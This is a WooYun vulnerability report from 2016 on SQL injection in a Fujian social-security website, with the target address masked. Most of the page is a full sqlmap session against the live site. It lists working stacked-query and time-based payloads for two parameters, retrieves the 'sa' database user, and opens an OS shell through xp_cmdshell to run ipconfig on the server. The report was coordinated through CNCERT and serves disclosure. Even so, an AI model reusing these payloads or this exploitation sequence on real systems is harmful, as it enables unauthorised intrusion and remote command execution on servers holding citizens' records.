当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0212900

漏洞标题:福建某社保存在SQL注入漏洞

相关厂商:福鼎社保

漏洞作者: 路人甲

提交时间:2016-05-26 10:06

修复时间:2016-07-14 11:20

公开时间:2016-07-14 11:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-26: 细节已通知厂商并且等待厂商处理中
2016-05-30: 厂商已经确认,细节仅向厂商公开
2016-06-09: 细节向核心白帽子及相关领域专家公开
2016-06-19: 细节向普通白帽子公开
2016-06-29: 细节向实习白帽子公开
2016-07-14: 细节向公众公开

简要描述:

福建某社保存在sql注入漏洞可执行root权限

详细说明:

root@kali:~# sqlmap -u "http://**.**.**.**/custom/grzhye.aspx?id0000=1234567890&page=1&xming0=1"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151114}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 08:55:26
[08:55:33] [INFO] testing connection to the target URL
[08:55:34] [INFO] testing if the target URL is stable
[08:55:34] [INFO] target URL is stable
[08:55:34] [INFO] testing if GET parameter 'id0000' is dynamic
[08:55:34] [WARNING] GET parameter 'id0000' does not appear dynamic
[08:55:34] [INFO] heuristic (basic) test shows that GET parameter 'id0000' might be injectable (possible DBMS: 'Microsoft SQL Server')
[08:55:34] [INFO] testing for SQL injection on GET parameter 'id0000'
it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n]
[08:55:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:55:42] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
[08:55:42] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'
[08:55:42] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[08:55:42] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)'
[08:55:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
[08:55:43] [INFO] GET parameter 'id0000' seems to be 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)' injectable
[08:55:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[08:55:43] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[08:55:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[08:56:04] [INFO] GET parameter 'id0000' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[08:56:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[08:56:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment)'
[08:56:25] [INFO] GET parameter 'id0000' seems to be 'Microsoft SQL Server/Sybase time-based blind (comment)' injectable
[08:56:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[08:56:25] [INFO] checking if the injection point on GET parameter 'id0000' is a false positive
GET parameter 'id0000' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[08:58:22] [INFO] testing if GET parameter 'page' is dynamic
[08:58:22] [WARNING] GET parameter 'page' does not appear dynamic
[08:58:22] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable
[08:58:22] [INFO] testing for SQL injection on GET parameter 'page'
[08:58:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:58:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
[08:58:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'
[08:58:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[08:58:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)'
[08:58:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
[08:58:26] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries'
[08:58:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[08:58:31] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[08:58:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[08:58:35] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[08:58:37] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[08:58:37] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[08:58:37] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[08:58:37] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[08:58:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[08:58:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[08:58:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[08:58:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment)'
[08:58:43] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[08:58:45] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'
[08:58:47] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'
[08:58:49] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)'
[08:58:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace'
[08:58:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'
[08:58:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause'
[08:58:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)'
[08:58:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[08:58:50] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[08:58:53] [WARNING] GET parameter 'page' is not injectable
[08:58:53] [INFO] testing if GET parameter 'xming0' is dynamic
[08:58:53] [WARNING] GET parameter 'xming0' does not appear dynamic
[08:58:53] [INFO] heuristic (basic) test shows that GET parameter 'xming0' might be injectable (possible DBMS: 'Microsoft SQL Server')
[08:58:53] [INFO] testing for SQL injection on GET parameter 'xming0'
[08:58:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:58:53] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
[08:58:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'
[08:58:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[08:58:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)'
[08:58:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
[08:58:55] [INFO] GET parameter 'xming0' seems to be 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)' injectable
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[08:58:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[08:58:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[08:58:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[08:59:16] [INFO] GET parameter 'xming0' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[08:59:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[08:59:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment)'
[08:59:36] [INFO] GET parameter 'xming0' seems to be 'Microsoft SQL Server/Sybase time-based blind (comment)' injectable
[08:59:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[08:59:36] [INFO] checking if the injection point on GET parameter 'xming0' is a false positive
GET parameter 'xming0' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 998 HTTP(s) requests:
---
Parameter: xming0 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890&page=1&xming0=1';IF(2519=2519) SELECT 2519 ELSE DROP FUNCTION pIdA--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890&page=1&xming0=1';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890&page=1&xming0=1' WAITFOR DELAY '0:0:5'--
Parameter: id0000 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890';IF(1782=1782) SELECT 1782 ELSE DROP FUNCTION gAPg--&page=1&xming0=1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890';WAITFOR DELAY '0:0:5'--&page=1&xming0=1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890' WAITFOR DELAY '0:0:5'--&page=1&xming0=1
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: id0000, type: Single quoted string (default)
[1] place: GET, parameter: xming0, type: Single quoted string
[q] Quit
>
[08:59:48] [INFO] testing Microsoft SQL Server
[08:59:48] [INFO] confirming Microsoft SQL Server
[08:59:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[08:59:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 08:59:49
root@kali:~# sqlmap -u "http://**.**.**.**/custom/grzhye.aspx?id0000=1234567890&page=1&xming0=1" --user
Usage: python sqlmap [options]
sqlmap: error: ambiguous option: --user (--user-agent, --users?)
root@kali:~# sqlmap -u "http://**.**.**.**/custom/grzhye.aspx?id0000=1234567890&page=1&xming0=1" --users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151114}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:00:29
[09:00:29] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:00:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: xming0 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890&page=1&xming0=1';IF(2519=2519) SELECT 2519 ELSE DROP FUNCTION pIdA--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890&page=1&xming0=1';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890&page=1&xming0=1' WAITFOR DELAY '0:0:5'--
Parameter: id0000 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890';IF(1782=1782) SELECT 1782 ELSE DROP FUNCTION gAPg--&page=1&xming0=1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890';WAITFOR DELAY '0:0:5'--&page=1&xming0=1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890' WAITFOR DELAY '0:0:5'--&page=1&xming0=1
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: id0000, type: Single quoted string (default)
[1] place: GET, parameter: xming0, type: Single quoted string
[q] Quit
> 1
[09:00:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[09:00:41] [INFO] fetching database users
[09:00:41] [INFO] fetching number of database users
[09:00:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:00:41] [INFO] retrieved: 1
[09:00:41] [INFO] retrieved: sa
database management system users [1]:
[*] sa
[09:00:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 09:00:43


root@kali:~# sqlmap -u "http://**.**.**.**/custom/grzhye.aspx?id0000=1234567890&page=1&xming0=1" --os-shell
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151114}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:48:53
[09:48:54] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:48:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: xming0 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890&page=1&xming0=1';IF(2519=2519) SELECT 2519 ELSE DROP FUNCTION pIdA--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890&page=1&xming0=1';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890&page=1&xming0=1' WAITFOR DELAY '0:0:5'--
Parameter: id0000 (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id0000=1234567890';IF(1782=1782) SELECT 1782 ELSE DROP FUNCTION gAPg--&page=1&xming0=1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id0000=1234567890';WAITFOR DELAY '0:0:5'--&page=1&xming0=1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: id0000=1234567890' WAITFOR DELAY '0:0:5'--&page=1&xming0=1
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: id0000, type: Single quoted string (default)
[1] place: GET, parameter: xming0, type: Single quoted string
[q] Quit
> 0
[09:48:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[09:48:58] [INFO] testing if current user is DBA
[09:48:59] [INFO] testing if xp_cmdshell extended procedure is usable
[09:48:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:49:02] [INFO] xp_cmdshell extended procedure is usable
[09:49:02] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[09:49:02] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n/a]
[09:49:09] [INFO] retrieved: 22
[09:49:09] [INFO] retrieved:
[09:49:10] [INFO] retrieved: Windows IP Configuration
[09:49:18] [INFO] retrieved:
[09:49:19] [INFO] retrieved:
[09:49:20] [INFO] retrieved: Ethernet adapter Ⱨし㽜昸㽜敤ꕣ:
[09:49:32] [INFO] retrieved:
[09:49:34] [INFO] retrieved: Connection-specific DNS Suffix . :
[09:49:48] [INFO] retrieved: IP Address. . . . . . . . . . . . : **.**.**.**
[09:50:05] [INFO] retrieved: Subnet Mask . . . . . . . . . . . : **.**.**.**
[09:50:22] [INFO] retrieved: Default Gateway . . . . . . . . . : **.**.**.**
[09:50:42] [INFO] retrieved:
[09:50:43] [INFO] retrieved:
[09:50:44] [INFO] retrieved: Windows IP Configuration
[09:50:52] [INFO] retrieved:
[09:50:53] [INFO] retrieved:
[09:50:54] [INFO] retrieved: Ethernet adapter Ⱨし㽜昸㽜敤ꕣ:
[09:51:06] [INFO] retrieved:
[09:51:07] [INFO] retrieved: Connection-specific DNS Suffix . :
[09:51:19] [INFO] retrieved: IP Address. . . . . . . . . . . . : **.**.**.**
[09:51:40] [INFO] retrieved: Subnet Mask . . . . . . . .^C


123.png

12.png

1.png

漏洞证明:

123.png


12.png

修复方案:

规避注入漏洞

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-30 11:12

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给福建分中心,由福建分中心后续协调网站管理单位处置。

最新状态:

暂无